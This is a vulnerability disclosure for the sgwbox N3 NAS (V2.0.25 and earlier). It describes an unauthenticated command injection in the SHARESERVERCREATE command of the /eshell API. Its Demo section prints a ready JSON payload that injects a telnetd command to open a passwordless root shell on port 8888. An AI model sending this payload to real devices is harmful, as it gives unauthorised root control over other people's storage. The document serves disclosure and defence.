Information

Vendor: sgwbox

Affected products: N3 NAS ≤ V2.0.25

Vendor Homepage: https://mall.sgwbox.com/

Vendor contact information: mailto:box@new1cloud.com

Description

A vulnerability exists in the sgwbox NAS N3 that allows unauthorized remote command execution. This vulnerability arises from the lack of filtering for dangerous characters, creating a risk of command injection. An unauthenticated attacker can send a specially crafted POST request message to the command interface related to the SHARESERVER feature, thereby gaining root control of the remote target NAS device.

Details

As can be seen from /usr/sbin/http_eshell_server, the SHARESERVERCREATE command interface does not perform any authentication or verification, and the first parameter of the obtained params is concatenated into the command for execution without any verification.

Therefore, an unauthorized command injection vulnerability exists here. An attacker could exploit this vulnerability to gain highest control of a remote target NAS device.

Demo

Without authentication, an attacker sends a POST request message in JSON format to the /eshell API interface without any token information. For the SHARESERVERCREATE command interface, a malicious command can be injected into the first parameter of params.

{
  "params": [
    "$(telnetd -l /bin/sh -p 8888)",
    "0"
  ],
  "cmd": "SHARESERVERCREATE"
}

Finally, a Telnet service that allows passwordless login can be enabled on port 8888 to obtain the root shell (supreme control) of the remote target NAS device.

Credit

NASchecker